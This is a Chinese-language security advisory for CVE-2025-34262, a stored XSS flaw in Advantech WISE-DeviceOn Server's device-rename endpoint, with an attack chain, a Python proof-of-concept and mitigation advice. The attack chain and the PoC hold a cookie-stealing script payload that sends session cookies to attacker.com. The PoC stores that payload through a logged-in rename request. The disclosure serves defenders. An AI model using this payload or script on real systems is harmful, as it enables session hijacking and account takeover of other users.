IPBUF安全漏洞报告
English
CVE-2025-34262 CVSS 5.4 中危

CVE-2025-34262 Advantech WISE-DeviceOn Server存储型XSS漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-34262
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Advantech WISE-DeviceOn Server

相关标签

CVE-2025-34262存储型XSS跨站脚本攻击AdvantechWISE-DeviceOnIoT工业物联网会话劫持中危漏洞认证绕过

漏洞概述

CVE-2025-34262是Advantech WISE-DeviceOn Server中发现的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于设备的名称更新功能中,具体位于/rmm/v1/devices/name/{agent_id}接口端点。当已认证用户重命名设备时,新设备名称(new_name参数)未经适当的HTML转义处理即被存储到数据库中。随后,当其他用户访问设备列表或设备详情页面时,这些恶意脚本会在受害者浏览器上下文中执行。攻击者利用此漏洞可以窃取会话Cookie、劫持用户会话,并以受害者的权限执行未授权操作。攻击者需要具备低权限用户账号并诱使其他用户查看或与受感染的设备记录交互。由于该漏洞为存储型XSS,恶意脚本会持久存在于系统中,对所有访问相关页面的用户构成威胁。

技术细节

该漏洞的根本原因在于Advantech WISE-DeviceOn Server在处理设备名称更新请求时缺少输入验证和输出编码。具体攻击过程如下:攻击者(已认证的低权限用户)通过POST请求向/rmm/v1/devices/name/{agent_id}端点发送包含恶意JavaScript代码的设备名称更新请求。服务器端直接将new_name参数的值存储到数据库,未进行HTML特殊字符转义(如<、>、"、'、&等)。当其他用户访问设备列表页面或查看设备详情时,服务器从数据库读取设备名称并直接渲染到HTML响应中。由于恶意脚本未被转义,浏览器将其作为有效的HTML/JavaScript执行。攻击者可利用此执行环境窃取用户会话Cookie、读取页面内容、进行CSRF攻击或重定向用户到恶意站点。CVSS 3.1评分5.4(中危)反映了该漏洞需要认证、用户交互且影响范围有限的特点。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统为Advantech WISE-DeviceOn Server,获取/rmm/v1/devices/name/{agent_id}端点信息
STEP 2
步骤2:账户获取
攻击者获取目标系统的低权限用户账户(可通过默认凭据、暴力破解或社工手段)
STEP 3
步骤3:构造恶意请求
攻击者构造包含XSS payload的设备重命名请求,如<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
STEP 4
步骤4:发送恶意请求
使用低权限账号向/rmm/v1/devices/name/{agent_id}端点发送PUT请求,将恶意脚本写入数据库
STEP 5
步骤5:等待触发
攻击者等待其他用户(如管理员)访问设备列表或设备详情页面
STEP 6
步骤6:会话劫持
当受害者访问包含恶意脚本的页面时,脚本在其浏览器中执行,窃取Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-34262 PoC - Advantech WISE-DeviceOn Server Stored XSS # Target: /rmm/v1/devices/name/{agent_id} TARGET_URL = "http://target-server.com" LOGIN_URL = f"{TARGET_URL}/rmm/v1/auth/login" XSS_PAYLOAD = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>' def exploit_stored_xss(username, password, agent_id): """Exploit stored XSS via device rename functionality""" # Step 1: Authenticate with low-privilege account session = requests.Session() login_data = { "username": username, "password": password } response = session.post(LOGIN_URL, json=login_data) if response.status_code != 200: print("[-] Authentication failed") return False # Step 2: Rename device with XSS payload rename_url = f"{TARGET_URL}/rmm/v1/devices/name/{agent_id}" rename_data = { "new_name": XSS_PAYLOAD } response = session.put(rename_url, json=rename_data) if response.status_code == 200: print("[+] XSS payload stored successfully") print(f"[+] Payload will execute when users view device list/details") return True else: print(f"[-] Failed to store payload: {response.status_code}") return False if __name__ == "__main__": # Replace with valid credentials and agent_id exploit_stored_xss("attacker_user", "password123", "agent_device_001")

影响范围

Advantech WISE-DeviceOn Server < 5.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)限制设备重命名功能的权限,仅允许管理员操作;2)在Web应用防火墙(WAF)层面配置规则,对设备名称参数进行XSS特征检测和过滤;3)启用浏览器的XSS Auditor功能(但需注意部分浏览器已移除此功能);4)监控和审计设备重命名操作的日志记录;5)对设备列表和详情页面实施严格的输出编码,确保特殊字符被正确转义。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表